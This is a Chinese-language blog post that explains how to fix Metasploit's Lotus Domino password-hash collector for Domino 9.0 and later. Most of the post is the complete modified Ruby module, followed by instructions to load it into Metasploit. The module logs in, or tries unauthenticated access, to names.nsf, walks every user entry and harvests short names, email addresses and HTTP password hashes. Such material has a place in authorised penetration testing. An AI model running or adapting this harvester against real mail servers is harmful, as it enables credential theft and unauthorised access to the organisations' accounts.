Marksec's Blog.

关于metasploit模块lotus版本大于9.0的修改

字数统计: 1.1k阅读时长: 6 min
2019/04/04 Share


最近在工作中遇到了lotus的邮件系统,但在对于lotus的研究中发现,在使用metastploit的auxiliary/scanner/lotus/lotus_domino_hashes的时候,出现了报错,在显示了第一行的用户名和密码后,就直接报错了,在查询资料了解到lotus>=9.0,登陆功能发生了变化,无法使用。


metasploit的中的lotus用户名密码导出模块auxiliary/scanner/lotus/lotus_domino_hashes的两处修改:

1
2
3
4
5
6
第一处:       
res = send_request_raw({
'method' => 'GET',
'uri' => "#{$uri}\/$defaultview?Readviewentries",
第二处:
:source_id => domino_svc.id,

修改成

1
2
3
4
5
第一处:        
res = send_request_cgi({
'uri' => '/names.nsf/$defaultview?Readviewentries',
第二处:
#:source_id => domino_svc.id,

修改完的完整rb脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Lotus Domino Password Hash Collector',
'Description' => 'Get users passwords hashes from names.nsf page',
'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
['CVE' , '2007-0977']
]
)

register_options(
[
OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])
])
end

def post_auth?
true
end

def run_host(ip)
user = datastore['NOTES_USER']
pass = datastore['NOTES_PASS']
@uri = normalize_uri(datastore['URI'])

if user.eql?('') && pass.eql?('')
print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")

begin
res = send_request_raw({
'method' => 'GET',
'uri' => "#{@uri}\/$defaultview?Readviewentries",
}, 25)

if res.nil?
print_error('Connection failed')
return
end

if res && res.body.to_s =~ /\<viewentries/
print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")
cookie = ''
get_views(cookie, @uri)

elsif res && res.body.to_s =~ /names.nsf\?Login/
print_error("#{peer} - Lotus Domino - The remote server requires authentication")
return :abort

else
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
vprint_error(res.to_s)
return :abort

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end

else
print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")
do_login(user, pass)
end
end

def do_login(user = nil, pass = nil)
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"

begin

res = send_request_cgi({
'method' => 'POST',
'uri' => '/names.nsf?Login',
'data' => post_data
}, 20)

if res.nil?
print_error("#{peer} - Connection timed out")
return
end

if res && res.code == 302
if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i
cookie = "DomAuthSessId=#{$1}"
elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i
cookie = "LtpaToken=#{$1}"
else
print_error("#{peer} - Lotus Domino - Unrecognized 302 response")
return :abort
end
print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
print_status("#{peer} - Lotus Domino - Getting password hashes")
get_views(cookie, @uri)

elsif res && res.body.to_s =~ /names.nsf\?Login/
print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")
return :abort

else
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
return :abort
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

def get_views(cookie, uri)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}\/$defaultview?Readviewentries",
'cookie' => cookie
}, 25)
if res && res.body
max = res.body.scan(/siblings=\"(.*)\"/).first.join

1.upto(max.to_i) do |i|
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
'cookie' => cookie
}, 25)

view_id = res.body.scan(/unid="([^\s]+)"/)[0].join
dump_hashes(view_id, cookie, uri)
end

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

def dump_hashes(view_id, cookie, uri)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
'cookie' => cookie
}, 25)

if res && res.body
short_name = res.body.scan(/<INPUT NAME=\"ShortName\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
user_mail = res.body.scan(/<INPUT NAME=\"InternetAddress\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
pass_hash = res.body.scan(/<INPUT NAME=\"\$?dspHTTPPassword\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join

short_name = 'NULL' if short_name.to_s.strip.empty?
user_mail = 'NULL' if user_mail.to_s.strip.empty?
pass_hash = 'NULL' if pass_hash.to_s.strip.empty?

print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")

if pass_hash != 'NULL'
domino_svc = report_service(
:host => rhost,
:port => rport,
:name => (ssl ? 'https' : 'http')
)
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => short_name,
:pass => pass_hash,
:ptype => 'domino_hash',
:source_id => domino_svc.id,
:source_type => 'service',
:proof => "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}",
:active => true
)
end
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

将该模块复制进metasploit,出现启动载入模块,即可使用

参考链接:https://github.com/rapid7/metasploit-framework/issues/8278

CATALOG